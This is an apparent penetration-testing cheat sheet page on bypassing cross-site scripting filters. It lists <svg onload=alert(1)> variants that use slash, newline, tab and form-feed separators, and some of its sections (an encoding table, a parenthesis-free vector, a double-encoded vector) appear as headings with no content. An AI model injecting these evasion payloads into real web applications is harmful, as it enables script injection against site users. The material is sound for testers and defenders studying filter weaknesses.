🔮Encoding to Bypass Restriction

Tag-attribute separators

Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:

Examples

Basically, if you have a payload that looks like:

<svg onload=alert(1)>

You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to. This works for all HTML tags.

Forward slash:

<svg/onload=alert(1)><svg>

New line:

<svg
onload=alert(1)><svg>

Tab:

<svg	onload=alert(1)><svg>

New page (0xC):

<svgonload=alert(1)><svg>

---------------------------------------------------------------

ASCII Encoding Table

---------------------------------------------------------------

Vector without Parentheses, Backticks or Entities

Use as alternative to alert(1), alert1 or HTML Entities versions of those.

---------------------------------------------------------------

Double Encoded Vector

Use when the application performs double decoding of input.

---------------------------------------------------------------

Encoding

Last updated